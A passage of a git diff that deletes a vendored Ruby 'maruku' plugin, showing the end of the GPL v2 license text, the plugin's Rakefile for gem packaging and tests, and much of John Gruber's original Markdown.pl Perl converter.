-freedom to share and change it.  By contrast, the GNU General Public
-License is intended to guarantee your freedom to share and change free
-software--to make sure the software is free for all its users.  This
-General Public License applies to most of the Free Software
-Foundation's software and to any other program whose authors commit to
-using it.  (Some other Free Software Foundation software is covered by
-the GNU Library General Public License instead.)  You can apply it to
-your programs, too.
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-
-		    GNU GENERAL PUBLIC LICENSE
-   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
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-
-	    How to Apply These Terms to Your New Programs
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-
-    You should have received a copy of the GNU General Public License
-    along with this program; if not, write to the Free Software
-    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-
-
-Also add information on how to contact you by electronic and paper mail.
-
-If the program is interactive, make it output a short notice like this
-when it starts in an interactive mode:
-
-    Gnomovision version 69, Copyright (C) year name of author
-    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
-    This is free software, and you are welcome to redistribute it
-    under certain conditions; type `show c' for details.
-
-The hypothetical commands `show w' and `show c' should show the appropriate
-parts of the General Public License.  Of course, the commands you use may
-be called something other than `show w' and `show c'; they could even be
-mouse-clicks or menu items--whatever suits your program.
-
-You should also get your employer (if you work as a programmer) or your
-school, if any, to sign a "copyright disclaimer" for the program, if
-necessary.  Here is a sample; alter the names:
-
-  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
-  `Gnomovision' (which makes passes at compilers) written by James Hacker.
-
-  <signature of Ty Coon>, 1 April 1989
-  Ty Coon, President of Vice
-
-This General Public License does not permit incorporating your program into
-proprietary programs.  If your program is a subroutine library, you may
-consider it more useful to permit linking proprietary applications with the
-library.  If this is what you want to do, use the GNU Library General
-Public License instead of this License.
diff --git a/vendor/plugins/maruku/Rakefile b/vendor/plugins/maruku/Rakefile
deleted file mode 100644
index 9413e4d1..00000000
--- a/vendor/plugins/maruku/Rakefile
+++ /dev/null
@@ -1,73 +0,0 @@
-require 'rubygems'
-Gem::manage_gems
-require 'rake/gempackagetask'
-
-require 'maruku_gem'
-
-task :default => [:package]
-
-Rake::GemPackageTask.new($spec) do |pkg|
-  pkg.need_zip = true
-  pkg.need_tar = true
-end
-
-PKG_NAME = 'maruku'
-PKG_FILE_NAME = "#{PKG_NAME}-#{MaRuKu::Version}"
-RUBY_FORGE_PROJECT = PKG_NAME
-RUBY_FORGE_USER = 'andrea'
-
-RELEASE_NAME  = MaRuKu::Version
-RUBY_FORGE_GROUPID = '2795'
-RUBY_FORGE_PACKAGEID = '3292'
-
-desc "Publish the release files to RubyForge."
-task :release => [:gem, :package] do
-	system("rubyforge login --username #{RUBY_FORGE_USER}")
-
-	gem = "pkg/#{PKG_FILE_NAME}.gem"
-	# -n notes/#{Maruku::Version}.txt
-	cmd = "rubyforge  add_release %s %s \"%s\" %s" %
-		[RUBY_FORGE_GROUPID, RUBY_FORGE_PACKAGEID, RELEASE_NAME, gem]
-	
-	puts cmd
-	system(cmd)
-	
-	files = ["gem", "tgz", "zip"].map { |ext| "pkg/#{PKG_FILE_NAME}.#{ext}" }
-	files.each do |file|
-#		system("rubyforge add_file %s %s %s %s" %
-#		[RUBY_FORGE_GROUPID, RUBY_FORGE_PACKAGEID, RELEASE_NAME, file])
-  end
-end
-
-task :test => [:markdown_span_tests, :markdown_block_tests]
-
-task :markdown_block_tests do
-	tests = Dir['tests/unittest/**/*.md'].join(' ')
-	puts "Executing tests #{tests}"
-#	ok = marutest(tests)
-	ok = system "ruby -Ilib bin/marutest #{tests}"
-	raise "Failed block unittest" if not ok
-end
-
-task :markdown_span_tests do
-	ok = system( "ruby -Ilib lib/maruku/tests/new_parser.rb v b")
-	raise "Failed span unittest" if not ok
-end
-
-require 'rake/rdoctask'
-
-Rake::RDocTask.new do |rdoc|
-	files = [#'README', 'LICENSE', 'COPYING', 
-		'lib/**/*.rb', 
-		'rdoc/*.rdoc'#, 'test/*.rb'
-	]
-	rdoc.rdoc_files.add(files)
-	rdoc.main = "rdoc/main.rdoc" # page to start on
-	rdoc.title = "Maruku Documentation"
-	rdoc.template = "jamis.rb"
-	rdoc.rdoc_dir = 'doc' # rdoc output folder
-	rdoc.options << '--line-numbers' << '--inline-source'
-end
-
-
-
diff --git a/vendor/plugins/maruku/bin/Markdown.pl b/vendor/plugins/maruku/bin/Markdown.pl
deleted file mode 100755
index 42e00550..00000000
--- a/vendor/plugins/maruku/bin/Markdown.pl
+++ /dev/null
@@ -1,1451 +0,0 @@
-#!/usr/bin/perl
-
-#
-# Markdown -- A text-to-HTML conversion tool for web writers
-#
-# Copyright (c) 2004 John Gruber
-# <http://daringfireball.net/projects/markdown/>
-#
-
-
-package Markdown;
-require 5.006_000;
-use strict;
-use warnings;
-
-use Digest::MD5 qw(md5_hex);
-use vars qw($VERSION);
-$VERSION = '1.0.1';
-# Tue 14 Dec 2004
-
-## Disabled; causes problems under Perl 5.6.1:
-# use utf8;
-# binmode( STDOUT, ":utf8" );  # c.f.: http://acis.openlib.org/dev/perl-unicode-struggle.html
-
-
-#
-# Global default settings:
-#
-my $g_empty_element_suffix = " />";     # Change to ">" for HTML output
-my $g_tab_width = 4;
-
-
-#
-# Globals:
-#
-
-# Regex to match balanced [brackets]. See Friedl's
-# "Mastering Regular Expressions", 2nd Ed., pp. 328-331.
-my $g_nested_brackets;
-$g_nested_brackets = qr{
-	(?> 								# Atomic matching
-	   [^\[\]]+							# Anything other than brackets
-	 | 
-	   \[
-		 (??{ $g_nested_brackets })		# Recursive set of nested brackets
-	   \]
-	)*
-}x;
-
-
-# Table of hash values for escaped characters:
-my %g_escape_table;
-foreach my $char (split //, '\\`*_{}[]()>#+-.!') {
-	$g_escape_table{$char} = md5_hex($char);
-}
-
-
-# Global hashes, used by various utility routines
-my %g_urls;
-my %g_titles;
-my %g_html_blocks;
-
-# Used to track when we're inside an ordered or unordered list
-# (see _ProcessListItems() for details):
-my $g_list_level = 0;
-
-
-#### Blosxom plug-in interface ##########################################
-
-# Set $g_blosxom_use_meta to 1 to use Blosxom's meta plug-in to determine
-# which posts Markdown should process, using a "meta-markup: markdown"
-# header. If it's set to 0 (the default), Markdown will process all
-# entries.
-my $g_blosxom_use_meta = 0;
-
-sub start { 1; }
-sub story {
-	my($pkg, $path, $filename, $story_ref, $title_ref, $body_ref) = @_;
-
-	if ( (! $g_blosxom_use_meta) or
-	     (defined($meta::markup) and ($meta::markup =~ /^\s*markdown\s*$/i))
-	     ){
-			$$body_ref  = Markdown($$body_ref);
-     }
-     1;
-}
-
-
-#### Movable Type plug-in interface #####################################
-eval {require MT};  # Test to see if we're running in MT.
-unless ($@) {
-    require MT;
-    import  MT;
-    require MT::Template::Context;
-    import  MT::Template::Context;
-
-	eval {require MT::Plugin};  # Test to see if we're running >= MT 3.0.
-	unless ($@) {
-		require MT::Plugin;
-		import  MT::Plugin;
-		my $plugin = new MT::Plugin({
-			name => "Markdown",
-			description => "A plain-text-to-HTML formatting plugin. (Version: $VERSION)",
-			doc_link => 'http://daringfireball.net/projects/markdown/'
-		});
-		MT->add_plugin( $plugin );
-	}
-
-	MT::Template::Context->add_container_tag(MarkdownOptions => sub {
-		my $ctx	 = shift;
-		my $args = shift;
-		my $builder = $ctx->stash('builder');
-		my $tokens = $ctx->stash('tokens');
-
-		if (defined ($args->{'output'}) ) {
-			$ctx->stash('markdown_output', lc $args->{'output'});
-		}
-
-		defined (my $str = $builder->build($ctx, $tokens) )
-			or return $ctx->error($builder->errstr);
-		$str;		# return value
-	});
-
-	MT->add_text_filter('markdown' => {
-		label     => 'Markdown',
-		docs      => 'http://daringfireball.net/projects/markdown/',
-		on_format => sub {
-			my $text = shift;
-			my $ctx  = shift;
-			my $raw  = 0;
-		    if (defined $ctx) {
-		    	my $output = $ctx->stash('markdown_output'); 
-				if (defined $output  &&  $output =~ m/^html/i) {
-					$g_empty_element_suffix = ">";
-					$ctx->stash('markdown_output', '');
-				}
-				elsif (defined $output  &&  $output eq 'raw') {
-					$raw = 1;
-					$ctx->stash('markdown_output', '');
-				}
-				else {
-					$raw = 0;
-					$g_empty_element_suffix = " />";
-				}
-			}
-			$text = $raw ? $text : Markdown($text);
-			$text;
-		},
-	});
-
-	# If SmartyPants is loaded, add a combo Markdown/SmartyPants text filter:
-	my $smartypants;
-
-	{
-		no warnings "once";
-		$smartypants = $MT::Template::Context::Global_filters{'smarty_pants'};
-	}
-        $smartypants = 0;
-
-	if ($smartypants) {
-		MT->add_text_filter('markdown_with_smartypants' => {
-			label     => 'Markdown With SmartyPants',
-			docs      => 'http://daringfireball.net/projects/markdown/',
-			on_format => sub {
-				my $text = shift;
-				my $ctx  = shift;
-				if (defined $ctx) {
-					my $output = $ctx->stash('markdown_output'); 
-					if (defined $output  &&  $output eq 'html') {
-						$g_empty_element_suffix = ">";
-					}
-					else {
-						$g_empty_element_suffix = " />";
-					}
-				}
-				$text = Markdown($text);
-				$text = $smartypants->($text, '1');
-			},
-		});
-	}
-}
-else {
-#### BBEdit/command-line text filter interface ##########################
-# Needs to be hidden from MT (and Blosxom when running in static mode).
-
-    # We're only using $blosxom::version once; tell Perl not to warn us:
-	no warnings 'once';
-    unless ( defined($blosxom::version) ) {
-		use warnings;
-
-		#### Check for command-line switches: #################
-		my %cli_opts;
-		use Getopt::Long;
-		Getopt::Long::Configure('pass_through');
-		GetOptions(\%cli_opts,
-			'version',
-			'shortversion',
-			'html4tags',
-		);
-		if ($cli_opts{'version'}) {		# Version info
-			print "\nThis is Markdown, version $VERSION.\n";
-			print "Copyright 2004 John Gruber\n";
-			print "http://daringfireball.net/projects/markdown/\n\n";
-			exit 0;
-		}
-		if ($cli_opts{'shortversion'}) {		# Just the version number string.
-			print $VERSION;
-			exit 0;
-		}
-		if ($cli_opts{'html4tags'}) {			# Use HTML tag style instead of XHTML
-			$g_empty_element_suffix = ">";
-		}
-
-
-		#### Process incoming text: ###########################
-		my $text;
-		{
-			local $/;               # Slurp the whole file
-			$text = <>;
-		}
-        print Markdown($text);
-    }
-}
-
-
-
-sub Markdown {
-#
-# Main function. The order in which other subs are called here is
-# essential. Link and image substitutions need to happen before
-# _EscapeSpecialChars(), so that any *'s or _'s in the <a>
-# and <img> tags get encoded.
-#
-	my $text = shift;
-
-	# Clear the global hashes. If we don't clear these, you get conflicts
-	# from other articles when generating a page which contains more than
-	# one article (e.g. an index page that shows the N most recent
-	# articles):
-	%g_urls = ();
-	%g_titles = ();
-	%g_html_blocks = ();
-
-
-	# Standardize line endings:
-	$text =~ s{\r\n}{\n}g; 	# DOS to Unix
-	$text =~ s{\r}{\n}g; 	# Mac to Unix
-
-	# Make sure $text ends with a couple of newlines:
-	$text .= "\n\n";
-
-	# Convert all tabs to spaces.
-	$text = _Detab($text);
-
-	# Strip any lines consisting only of spaces and tabs.
-	# This makes subsequent regexen easier to write, because we can
-	# match consecutive blank lines with /\n+/ instead of something
-	# contorted like /[ \t]*\n+/ .
-	$text =~ s/^[ \t]+$//mg;
-
-	# Turn block-level HTML blocks into hash entries
-	$text = _HashHTMLBlocks($text);
-
-	# Strip link definitions, store in hashes.
-	$text = _StripLinkDefinitions($text);
-
-	$text = _RunBlockGamut($text);
-
-	$text = _UnescapeSpecialChars($text);
-
-	return $text . "\n";
-}
-
-
-sub _StripLinkDefinitions {
-#
-# Strips link definitions from text, stores the URLs and titles in
-# hash references.
-#
-	my $text = shift;
-	my $less_than_tab = $g_tab_width - 1;
-
-	# Link defs are in the form: ^[id]: url "optional title"
-	while ($text =~ s{
-						^[ ]{0,$less_than_tab}\[(.+)\]:	# id = $1
-						  [ \t]*
-						  \n?				# maybe *one* newline
-						  [ \t]*
-						<?(\S+?)>?			# url = $2
-						  [ \t]*
-						  \n?				# maybe one newline
-						  [ \t]*
-						(?:
-							(?<=\s)			# lookbehind for whitespace
-							["(]
-							(.+?)			# title = $3
-							[")]
-							[ \t]*
-						)?	# title is optional
-						(?:\n+|\Z)
-					}
-					{}mx) {
-		$g_urls{lc $1} = _EncodeAmpsAndAngles( $2 );	# Link IDs are case-insensitive
-		if ($3) {
-			$g_titles{lc $1} = $3;
-			$g_titles{lc $1} =~ s/"/&quot;/g;
-		}
-	}
-
-	return $text;
-}
-
-
-sub _HashHTMLBlocks {
-	my $text = shift;
-	my $less_than_tab = $g_tab_width - 1;
-
-	# Hashify HTML blocks:
-	# We only want to do this for block-level HTML tags, such as headers,
-	# lists, and tables. That's because we still want to wrap <p>s around
-	# "paragraphs" that are wrapped in non-block-level tags, such as anchors,
-	# phrase emphasis, and spans. The list of tags we're looking for is
-	# hard-coded:
-	my $block_tags_a = qr/p|div|h[1-6]|blockquote|pre|table|dl|ol|ul|script|noscript|form|fieldset|iframe|math|ins|del/;
-	my $block_tags_b = qr/p|div|h[1-6]|blockquote|pre|table|dl|ol|ul|script|noscript|form|fieldset|iframe|math/;
-
-	# First, look for nested blocks, e.g.:
-	# 	<div>
-	# 		<div>
-	# 		tags for inner block must be indented.
-	# 		</div>
-	# 	</div>
-	#
-	# The outermost tags must start at the left margin for this to match, and
-	# the inner nested divs must be indented.
-	# We need to do this before the next, more liberal match, because the next
-	# match will start at the first `<div>` and stop at the first `</div>`.
-	$text =~ s{
-				(						# save in $1
-					^					# start of line  (with /m)
-					<($block_tags_a)	# start tag = $2
-					\b					# word break
-					(.*\n)*?			# any number of lines, minimally matching
-					</\2>				# the matching end tag
-					[ \t]*				# trailing spaces/tabs
-					(?=\n+|\Z)	# followed by a newline or end of document
-				)
-			}{
-				my $key = md5_hex($1);
-				$g_html_blocks{$key} = $1;
-				"\n\n" . $key . "\n\n";
-			}egmx;
-
-
-	#
-	# Now match more liberally, simply from `\n<tag>` to `</tag>\n`
-	#
-	$text =~ s{
-				(						# save in $1
-					^					# start of line  (with /m)
-					<($block_tags_b)	# start tag = $2
-					\b					# word break
-					(.*\n)*?			# any number of lines, minimally matching
-					.*</\2>				# the matching end tag
-					[ \t]*				# trailing spaces/tabs
-					(?=\n+|\Z)	# followed by a newline or end of document
-				)
-			}{
-				my $key = md5_hex($1);
-				$g_html_blocks{$key} = $1;
-				"\n\n" . $key . "\n\n";
-			}egmx;
-	# Special case just for <hr />. It was easier to make a special case than
-	# to make the other regex more complicated.	
-	$text =~ s{
-				(?:
-					(?<=\n\n)		# Starting after a blank line
-					|				# or
-					\A\n?			# the beginning of the doc
-				)
-				(						# save in $1
-					[ ]{0,$less_than_tab}
-					<(hr)				# start tag = $2
-					\b					# word break
-					([^<>])*?			# 
-					/?>					# the matching end tag
-					[ \t]*
-					(?=\n{2,}|\Z)		# followed by a blank line or end of document
-				)
-			}{
-				my $key = md5_hex($1);
-				$g_html_blocks{$key} = $1;
-				"\n\n" . $key . "\n\n";
-			}egx;
-
-	# Special case for standalone HTML comments:
-	$text =~ s{
-				(?:
-					(?<=\n\n)		# Starting after a blank line
-					|				# or
-					\A\n?			# the beginning of the doc
-				)
-				(						# save in $1
-					[ ]{0,$less_than_tab}
-					(?s:
-						<!
-						(--.*?--\s*)+
-						>
-					)
-					[ \t]*
-					(?=\n{2,}|\Z)		# followed by a blank line or end of document
-				)
-			}{
-				my $key = md5_hex($1);
-				$g_html_blocks{$key} = $1;
-				"\n\n" . $key . "\n\n";
-			}egx;
-
-
-	return $text;
-}
-
-
-sub _RunBlockGamut {
-#
-# These are all the transformations that form block-level
-# tags like paragraphs, headers, and list items.
-#
-	my $text = shift;
-
-	$text = _DoHeaders($text);
-
-	# Do Horizontal Rules:
-	$text =~ s{^[ ]{0,2}([ ]?\*[ ]?){3,}[ \t]*$}{\n<hr$g_empty_element_suffix\n}gmx;
-	$text =~ s{^[ ]{0,2}([ ]? -[ ]?){3,}[ \t]*$}{\n<hr$g_empty_element_suffix\n}gmx;
-	$text =~ s{^[ ]{0,2}([ ]? _[ ]?){3,}[ \t]*$}{\n<hr$g_empty_element_suffix\n}gmx;
-
-	$text = _DoLists($text);
-
-	$text = _DoCodeBlocks($text);
-
-	$text = _DoBlockQuotes($text);
-
-	# We already ran _HashHTMLBlocks() before, in Markdown(), but that
-	# was to escape raw HTML in the original Markdown source. This time,
-	# we're escaping the markup we've just created, so that we don't wrap
-	# <p> tags around block-level tags.
-	$text = _HashHTMLBlocks($text);
-
-	$text = _FormParagraphs($text);
-
-	return $text;
-}
-
-
-sub _RunSpanGamut {
-#
-# These are all the transformations that occur *within* block-level
-# tags like paragraphs, headers, and list items.
-#
-	my $text = shift;
-
-	$text = _DoCodeSpans($text);
-
-	$text = _EscapeSpecialChars($text);
-
-	# Process anchor and image tags. Images must come first,
-	# because ![foo][f] looks like an anchor.
-	$text = _DoImages($text);
-	$text = _DoAnchors($text);
-
-	# Make links out of things like `<http://example.com/>`
-	# Must come after _DoAnchors(), because you can use < and >
-	# delimiters in inline links like [this](<url>).
-	$text = _DoAutoLinks($text);
-
-	$text = _EncodeAmpsAndAngles($text);
-
-	$text = _DoItalicsAndBold($text);
-
-	# Do hard breaks:
-	$text =~ s/ {2,}\n/ <br$g_empty_element_suffix\n/g;
-
-	return $text;
-}
-
-
-sub _EscapeSpecialChars {
-	my $text = shift;
-	my $tokens ||= _TokenizeHTML($text);
-
-	$text = '';   # rebuild $text from the tokens
-# 	my $in_pre = 0;	 # Keep track of when we're inside <pre> or <code> tags.
-# 	my $tags_to_skip = qr!<(/?)(?:pre|code|kbd|script|math)[\s>]!;
-
-	foreach my $cur_token (@$tokens) {
-		if ($cur_token->[0] eq "tag") {
-			# Within tags, encode * and _ so they don't conflict
-			# with their use in Markdown for italics and strong.
-			# We're replacing each such character with its
-			# corresponding MD5 checksum value; this is likely
-			# overkill, but it should prevent us from colliding
-			# with the escape values by accident.
-			$cur_token->[1] =~  s! \* !$g_escape_table{'*'}!gx;
-			$cur_token->[1] =~  s! _  !$g_escape_table{'_'}!gx;
-			$text .= $cur_token->[1];
-		} else {
-			my $t = $cur_token->[1];
-			$t = _EncodeBackslashEscapes($t);
-			$text .= $t;
-		}
-	}
-	return $text;
-}
-
-
-sub _DoAnchors {
-#
-# Turn Markdown link shortcuts into XHTML <a> tags.
-#
-	my $text = shift;
-
-	#
-	# First, handle reference-style links: [link text] [id]
-	#
-	$text =~ s{
-		(					# wrap whole match in $1
-		  \[
-		    ($g_nested_brackets)	# link text = $2
-		  \]
-
-		  [ ]?				# one optional space
-		  (?:\n[ ]*)?		# one optional newline followed by spaces
-
-		  \[
-		    (.*?)		# id = $3
-		  \]
-		)
-	}{
-		my $result;
-		my $whole_match = $1;
-		my $link_text   = $2;
-		my $link_id     = lc $3;
-
-		if ($link_id eq "") {
-			$link_id = lc $link_text;     # for shortcut links like [this][].
-		}
-
-		if (defined $g_urls{$link_id}) {
-			my $url = $g_urls{$link_id};
-			$url =~ s! \* !$g_escape_table{'*'}!gx;		# We've got to encode these to avoid
-			$url =~ s!  _ !$g_escape_table{'_'}!gx;		# conflicting with italics/bold.
-			$result = "<a href=\"$url\"";
-			if ( defined $g_titles{$link_id} ) {
-				my $title = $g_titles{$link_id};
-				$title =~ s! \* !$g_escape_table{'*'}!gx;
-				$title =~ s!  _ !$g_escape_table{'_'}!gx;
-				$result .=  " title=\"$title\"";
-			}
-			$result .= ">$link_text</a>";
-		}
-		else {
-			$result = $whole_match;
-		}
-		$result;
-	}xsge;
-
-	#
-	# Next, inline-style links: [link text](url "optional title")
-	#
-	$text =~ s{
-		(				# wrap whole match in $1
-		  \[
-		    ($g_nested_brackets)	# link text = $2
-		  \]
-		  \(			# literal paren
-		  	[ \t]*
-			<?(.*?)>?	# href = $3
-		  	[ \t]*
-			(			# $4
-			  (['"])	# quote char = $5
-			  (.*?)		# Title = $6
-			  \5		# matching quote
-			)?			# title is optional
-		  \)
-		)
-	}{
-		my $result;
-		my $whole_match = $1;
-		my $link_text   = $2;
-		my $url	  		= $3;
-		my $title		= $6;
-
-		$url =~ s! \* !$g_escape_table{'*'}!gx;		# We've got to encode these to avoid
-		$url =~ s!  _ !$g_escape_table{'_'}!gx;		# conflicting with italics/bold.
-		$result = "<a href=\"$url\"";
-
-		if (defined $title) {
-			$title =~ s/"/&quot;/g;
-			$title =~ s! \* !$g_escape_table{'*'}!gx;
-			$title =~ s!  _ !$g_escape_table{'_'}!gx;
-			$result .=  " title=\"$title\"";
-		}
-
-		$result .= ">$link_text</a>";
-
-		$result;
-	}xsge;
-
-	return $text;
-}
-
-
-sub _DoImages {
-#
-# Turn Markdown image shortcuts into <img> tags.
-#
-	my $text = shift;
-
-	#
-	# First, handle reference-style labeled images: ![alt text][id]
-	#
-	$text =~ s{
-		(				# wrap whole match in $1
-		  !\[
-		    (.*?)		# alt text = $2
-		  \]
-
-		  [ ]?				# one optional space
-		  (?:\n[ ]*)?		# one optional newline followed by spaces
-
-		  \[
-		    (.*?)		# id = $3
-		  \]
-
-		)
-	}{
-		my $result;
-		my $whole_match = $1;
-		my $alt_text    = $2;
-		my $link_id     = lc $3;
-
-		if ($link_id eq "") {
-			$link_id = lc $alt_text;     # for shortcut links like ![this][].
-		}
-
-		$alt_text =~ s/"/&quot;/g;
-		if (defined $g_urls{$link_id}) {
-			my $url = $g_urls{$link_id};
-			$url =~ s! \* !$g_escape_table{'*'}!gx;		# We've got to encode these to avoid
-			$url =~ s!  _ !$g_escape_table{'_'}!gx;		# conflicting with italics/bold.
-			$result = "<img src=\"$url\" alt=\"$alt_text\"";
-			if (defined $g_titles{$link_id}) {
-				my $title = $g_titles{$link_id};
-				$title =~ s! \* !$g_escape_table{'*'}!gx;
-				$title =~ s!  _ !$g_escape_table{'_'}!gx;
-				$result .=  " title=\"$title\"";
-			}
-			$result .= $g_empty_element_suffix;
-		}
-		else {
-			# If there's no such link ID, leave intact:
-			$result = $whole_match;
-		}
-
-		$result;
-	}xsge;
-
-	#
-	# Next, handle inline images:  ![alt text](url "optional title")
-	# Don't forget: encode * and _
-
-	$text =~ s{
-		(				# wrap whole match in $1
-		  !\[
-		    (.*?)		# alt text = $2
-		  \]
-		  \(			# literal paren
-		  	[ \t]*
-			<?(\S+?)>?	# src url = $3
-		  	[ \t]*
-			(			# $4
-			  (['"])	# quote char = $5
-			  (.*?)		# title = $6
-			  \5		# matching quote
-			  [ \t]*
-			)?			# title is optional
-		  \)
-		)
-	}{
-		my $result;
-		my $whole_match = $1;
-		my $alt_text    = $2;
-		my $url	  		= $3;
-		my $title		= '';
-		if (defined($6)) {
-			$title		= $6;
-		}
-
-		$alt_text =~ s/"/&quot;/g;
-		$title    =~ s/"/&quot;/g;
-		$url =~ s! \* !$g_escape_table{'*'}!gx;		# We've got to encode these to avoid
-		$url =~ s!  _ !$g_escape_table{'_'}!gx;		# conflicting with italics/bold.
-		$result = "<img src=\"$url\" alt=\"$alt_text\"";
-		if (defined $title) {
-			$title =~ s! \* !$g_escape_table{'*'}!gx;
-			$title =~ s!  _ !$g_escape_table{'_'}!gx;
-			$result .=  " title=\"$title\"";
-		}
-		$result .= $g_empty_element_suffix;
-
-		$result;
-	}xsge;
-
-	return $text;
-}
-
-
-sub _DoHeaders {
-	my $text = shift;
-
-	# Setext-style headers:
-	#	  Header 1
-	#	  ========
-	#  
-	#	  Header 2
-	#	  --------
-	#
-	$text =~ s{ ^(.+)[ \t]*\n=+[ \t]*\n+ }{
-		"<h1>"  .  _RunSpanGamut($1)  .  "</h1>\n\n";
-	}egmx;
-
-	$text =~ s{ ^(.+)[ \t]*\n-+[ \t]*\n+ }{
-		"<h2>"  .  _RunSpanGamut($1)  .  "</h2>\n\n";
-	}egmx;
-
-
-	# atx-style headers:
-	#	# Header 1
-	#	## Header 2
-	#	## Header 2 with closing hashes ##
-	#	...
-	#	###### Header 6
-	#
-	$text =~ s{
-			^(\#{1,6})	# $1 = string of #'s
-			[ \t]*
-			(.+?)		# $2 = Header text
-			[ \t]*
-			\#*			# optional closing #'s (not counted)
-			\n+
-		}{
-			my $h_level = length($1);
-			"<h$h_level>"  .  _RunSpanGamut($2)  .  "</h$h_level>\n\n";
-		}egmx;
-
-	return $text;
-}
-
-
-sub _DoLists {
-#
-# Form HTML ordered (numbered) and unordered (bulleted) lists.
-#
-	my $text = shift;
-	my $less_than_tab = $g_tab_width - 1;
-
-	# Re-usable patterns to match list item bullets and number markers:
-	my $marker_ul  = qr/[*+-]/;
-	my $marker_ol  = qr/\d+[.]/;
-	my $marker_any = qr/(?:$marker_ul|$marker_ol)/;
-
-	# Re-usable pattern to match any entirel ul or ol list:
-	my $whole_list = qr{
-		(								# $1 = whole list
-		  (								# $2
-			[ ]{0,$less_than_tab}
-			(${marker_any})				# $3 = first list item marker
-			[ \t]+
-		  )
-		  (?s:.+?)
-		  (								# $4
-			  \z
-			|
-			  \n{2,}
-			  (?=\S)
-			  (?!						# Negative lookahead for another list item marker
-				[ \t]*
-				${marker_any}[ \t]+
-			  )
-		  )
-		)
-	}mx;
-
-	# We use a different prefix before nested lists than top-level lists.
-	# See extended comment in _ProcessListItems().
-	#
-	# Note: There's a bit of duplication here. My original implementation
-	# created a scalar regex pattern as the conditional result of the test on
-	# $g_list_level, and then only ran the $text =~ s{...}{...}egmx
-	# substitution once, using the scalar as the pattern. This worked,
-	# everywhere except when running under MT on my hosting account at Pair
-	# Networks. There, this caused all rebuilds to be killed by the reaper (or
-	# perhaps they crashed, but that seems incredibly unlikely given that the
-	# same script on the same server ran fine *except* under MT. I've spent
-	# more time trying to figure out why this is happening than I'd like to
-	# admit. My only guess, backed up by the fact that this workaround works,
-	# is that Perl optimizes the substition when it can figure out that the
-	# pattern will never change, and when this optimization isn't on, we run
-	# afoul of the reaper. Thus, the slightly redundant code to that uses two
-	# static s/// patterns rather than one conditional pattern.
-
-	if ($g_list_level) {
-		$text =~ s{
-				^
-				$whole_list
-			}{
-				my $list = $1;
-				my $list_type = ($3 =~ m/$marker_ul/) ? "ul" : "ol";
-				# Turn double returns into triple returns, so that we can make a
-				# paragraph for the last item in a list, if necessary:
-				$list =~ s/\n{2,}/\n\n\n/g;
-				my $result = _ProcessListItems($list, $marker_any);
-				$result = "<$list_type>\n" . $result . "</$list_type>\n";
-				$result;
-			}egmx;
-	}
-	else {
-		$text =~ s{
-				(?:(?<=\n\n)|\A\n?)
-				$whole_list
-			}{
-				my $list = $1;
-				my $list_type = ($3 =~ m/$marker_ul/) ? "ul" : "ol";
-				# Turn double returns into triple returns, so that we can make a
-				# paragraph for the last item in a list, if necessary:
-				$list =~ s/\n{2,}/\n\n\n/g;
-				my $result = _ProcessListItems($list, $marker_any);
-				$result = "<$list_type>\n" . $result . "</$list_type>\n";
-				$result;
-			}egmx;
-	}
-
-
-	return $text;
-}
-
-
-sub _ProcessListItems {
-#
-#	Process the contents of a single ordered or unordered list, splitting it
-#	into individual list items.
-#
-
-	my $list_str = shift;
-	my $marker_any = shift;
-
-
-	# The $g_list_level global keeps track of when we're inside a list.
-	# Each time we enter a list, we increment it; when we leave a list,
-	# we decrement. If it's zero, we're not in a list anymore.
-	#
-	# We do this because when we're not inside a list, we want to treat
-	# something like this:
-	#
-	#		I recommend upgrading to version
-	#		8. Oops, now this line is treated
-	#		as a sub-list.
-	#
-	# As a single paragraph, despite the fact that the second line starts
-	# with a digit-period-space sequence.
-	#
-	# Whereas when we're inside a list (or sub-list), that line will be
-	# treated as the start of a sub-list. What a kludge, huh? This is
-	# an aspect of Markdown's syntax that's hard to parse perfectly
-	# without resorting to mind-reading. Perhaps the solution is to
-	# change the syntax rules such that sub-lists must start with a
-	# starting cardinal number; e.g. "1." or "a.".
-
-	$g_list_level++;
-
-	# trim trailing blank lines:
-	$list_str =~ s/\n{2,}\z/\n/;
-
-
-	$list_str =~ s{
-		(\n)?							# leading line = $1
-		(^[ \t]*)						# leading whitespace = $2
-		($marker_any) [ \t]+			# list marker = $3
-		((?s:.+?)						# list item text   = $4
-		(\n{1,2}))
-		(?= \n* (\z | \2 ($marker_any) [ \t]+))
-	}{
-		my $item = $4;
-		my $leading_line = $1;
-		my $leading_space = $2;
-
-		if ($leading_line or ($item =~ m/\n{2,}/)) {
-			$item = _RunBlockGamut(_Outdent($item));
-		}
-		else {
-			# Recursion for sub-lists:
-			$item = _DoLists(_Outdent($item));
-			chomp $item;
-			$item = _RunSpanGamut($item);
-		}
-
-		"<li>" . $item . "</li>\n";
-	}egmx;
-
-	$g_list_level--;
-	return $list_str;
-}
-
-
-
-sub _DoCodeBlocks {
-#
-#	Process Markdown `<pre><code>` blocks.
-#	
-
-	my $text = shift;
-
-	$text =~ s{
-			(?:\n\n|\A)
-			(	            # $1 = the code block -- one or more lines, starting with a space/tab
-			  (?:
-			    (?:[ ]{$g_tab_width} | \t)  # Lines must start with a tab or a tab-width of spaces
-			    .*\n+
-			  )+
-			)
-			((?=^[ ]{0,$g_tab_width}\S)|\Z)	# Lookahead for non-space at line-start, or end of doc
-		}{
-			my $codeblock = $1;
-			my $result; # return value
-
-			$codeblock = _EncodeCode(_Outdent($codeblock));
-			$codeblock = _Detab($codeblock);
-			$codeblock =~ s/\A\n+//; # trim leading newlines
-			$codeblock =~ s/\s+\z//; # trim trailing whitespace
-
-			$result = "\n\n<pre><code>" . $codeblock . "\n</code></pre>\n\n";
-
-			$result;
-		}egmx;
-
-	return $text;
-}
-
-
-sub _DoCodeSpans {
-#
-# 	*	Backtick quotes are used for <code></code> spans.
-# 
-# 	*	You can use multiple backticks as the delimiters if you want to
-# 		include literal backticks in the code span. So, this input:
-#     
-#         Just type ``foo `bar` baz`` at the prompt.
-#     
-#     	Will translate to:
-#     
-#         <p>Just type <code>foo `bar` baz</code> at the prompt.</p>
-#     
-#		There's no arbitrary limit to the number of backticks you
-#		can use as delimters. If you need three consecutive backticks
-#		in your code, use four for delimiters, etc.
-#
-#	*	You can use spaces to get literal backticks at the edges:
-#     
-#         ... type `` `bar` `` ...
-#     
-#     	Turns to:
-#     
